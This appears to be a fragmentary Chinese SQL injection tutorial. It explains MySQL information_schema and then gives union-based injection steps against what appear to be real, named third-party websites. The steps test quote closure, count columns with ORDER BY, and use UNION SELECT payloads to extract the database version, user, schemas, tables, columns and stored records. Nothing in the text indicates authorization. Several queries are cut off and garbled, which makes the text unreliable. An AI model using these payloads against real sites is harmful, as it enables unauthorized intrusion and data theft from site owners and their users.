MySQL的元数据库是一组特殊的数据库用于存储MySQL服务器的元数据信息在sql注入中较为常用为以下两种元数据库

information_schema这个数据库包含了MySQL服务器上所有其他数据库的元数据信息。

例如数据库名、表名、列的数据类型或访问权限等。

mysql这是MySQL的核心数据库存储了用户权限设置、数据库的用户、关键字等。

tables

存放所有数据表对应的数据库名。

每一条数据表名信息对应一条table_schema字段的值其值为数据表名所在的数据库名。

2.table_name包含所有数据表信息需引用table_schema字段信息进行查询

SELECT

TABLE_SCHEMApikachu;在information_schema数据库中的tables表查询满足条件TABLE_SCHEMA字段值为pikachu的TABLE_NAME字段的值

主要字段

1.TABLE_NAME存放数据表名数据表每一条字段信息对应一条TABLE_NAME的值其值为字段所在的数据表名

2.COLUMN_NAME存放所有字段名需引用table_name字段值进行查询

3.TABLE_SCHEMA存放所有字段对应的数据库名。

每一条字段信息对应一条table_schema字段的值其值为字段所在的数据库名。

与TABLE_NAME联用进行精确查询

SELECT

urlhttps://tpsldh.com/about.php?id1

2.拼接布尔语句判断注入点类型

https://tpsldh.com/about.php?id1

and

拼接单引号会触发sql语法报错。

拼接双引号sql语句查询时忽略多余字符正常回显。

判断闭合类型为单引号

4.拼接order

逻辑将查询结果指定第七列进行排序时触发sql语法报错。

指定第六列排序页面回显正常。

可以得出该页面引用数据库所在数据表的字段数为6位

UNION

逻辑所有union联合查询多个结果集时由于原参数失效使页面回显拼接的结果集从而判断回显点

出现意外不适合新手实操更换网站

https://www.csi-india.org/news/index.php?id18

注入点类型数值

1,2,version(),datadir,database(),user(),7,8

页面回显点回显数据库参数

1,2,group_concat(schema_name),4,5,6,7,8

from

会去除重复的行而查询的结果可能包含多个行为防止数据丢失使用group_concat函数将多个行的值拼接为一个字符串并使用逗号分割。

8.查询当前数据库下有哪些表

1,2,group_concat(TABLE_NAME),4,5,6,7,8

from

逻辑查询元数据库信息语句意义见上文。

database()返回当前数据库名用作查询条件

9.查询数据表下有哪些字段

1,2,group_concat(column_name),4,5,6,7,8

from

逻辑查询元数据库信息语句意义见上文指定查询数据表news内字段名

10.查询数据

concat(news_id,serial_no,news_title,news_description,news_file_path,file_doc,news_status,news_date)

from

逻辑使用select子句查询所有数据可拼接其他字符或换行符通过limit控制回显条目。

group_concat

MySQL